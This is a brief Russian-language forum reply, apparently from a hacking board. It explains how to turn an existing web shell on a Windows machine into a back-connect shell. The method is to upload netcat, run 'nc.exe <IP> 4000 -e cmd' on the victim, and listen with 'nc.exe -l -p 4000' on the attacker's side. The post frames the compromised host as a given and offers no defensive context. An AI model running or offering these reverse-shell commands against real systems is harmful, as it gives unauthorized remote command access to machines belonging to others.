причем тут back-connect?
допустим есть у тебя веб шелл на видновой машине..закидываешь туда неткат..с веб шела запускаешь его:
nc.exe 192.168.1.1 4000 -e cmd , у себя открываешь консоль:
c:\put_k_nc\nc.exe -l -p 4000
192.168.1.1 твой ip`шник, 4000 порт. насчет -e cmd точно не помню, в readme посмотри - там все подробно написано..